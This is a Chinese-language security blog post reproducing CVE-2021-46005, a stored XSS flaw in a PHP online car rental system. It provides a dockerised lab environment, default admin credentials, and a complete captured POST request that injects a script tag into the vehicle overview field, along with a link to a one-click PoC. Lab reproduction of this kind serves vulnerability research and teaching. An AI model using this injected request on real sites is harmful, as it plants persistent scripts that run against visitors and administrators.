【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005

admin 2022年1月31日12:10:45评论181 views字数 3485阅读11分37秒阅读模式
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
点击蓝字·关注我们
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
全文 1069 字,预计阅读时间 1 分钟
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005

一、前言

在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005,本文提供一键拉起的漏洞环境,并对此漏洞进行复现,文末附一键利用Poc。

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005

二、漏洞环境

P.S. Reapoc项目 致力于提供最全的漏洞验证环境和标准化Poc,欢迎有兴趣的小伙伴共同建设。

https://github.com/cckuailong/reapoc

喜欢的同学帮忙点个star 0.0

本公众号以后的漏洞复现环境都会放到此项目中。


漏洞环境地址

https://github.com/cckuailong/reapoc/tree/main/2021/CVE-2021-46005/vultarget

拉起

docker-compose builddocker-compose up -d
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005

三、在线汽车租赁系统

在线汽车租赁系统是一个 PHP 项目,它允许您处理在线预订汽车租赁。该系统使用 PHP 和 MySQL。以管理员身份登录后,您可以创建品牌并添加用于在线预订的车辆。该系统还具有推荐和联系我们页面,因此客户可以提供反馈并联系网站所有者。客户可以在网站上注册并选择他们想要租用的车辆。 

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005

四、复现

1. 访问http://test.com/admin/ 并登录后台 (环境中用户名密码:admin / admin)

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005


2.访问http://localhost/car-rental/admin/post-avehical.php

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005


3. 填写页面上的所有详细信息。提交后,burp捕获请求并把"vehicalorcview" 参数的值更改为"<script>alert("CAR")</script>"后提交

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005


这里是我抓到的请求,将其中的cookie字段更改后即可。

POST /OnlineCarRental/admin/post-avehical.php HTTP/1.1Host: test.com:9202User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateContent-Type: multipart/form-data; boundary=---------------------------13786099262839578593645594965Content-Length: 2085Origin: http://test.com:9202Connection: closeReferer: http://test.com:9202/OnlineCarRental/admin/post-avehical.phpUpgrade-Insecure-Requests: 1
-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="vehicletitle"
TestName-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="brandname"
2-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="vehicalorcview"
<script>alert("CAR")</script>-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="priceperday"
200-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="fueltype"
Diesel-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="modelyear"
2008-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="seatingcapacity"
22-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="img1"; filename="Untitled.png"Content-Type: image/png
PNG-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="img5"; filename=""Content-Type: application/octet-stream
-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="powerdoorlocks"
1-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="antilockbrakingsys"
1-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="driverairbag"
1-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="passengerairbag"
1-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="centrallocking"
1-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="crashcensor"
1-----------------------------13786099262839578593645594965Content-Disposition: form-data; name="submit"

-----------------------------13786099262839578593645594965--


4. 访问http://localhost/car-rental/ and our Payload excuted,触发XSS。

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
END
【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
免责声明

本公众号内的文章及工具仅提供学习用途,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。


今日关注福利

【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005
发表于1小时前cckuailong
查看:12340回复:7767

关注公众号后,回复 “CVE-2021-46005”,获取 一键利用Poc


好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(我不是Hacker):【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月31日12:10:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【提供漏洞环境】|在线汽车租赁系统存在存储型XSS漏洞 -- CVE-2021-46005http://cn-sec.com/archives/760464.html

发表评论

匿名网友 填写信息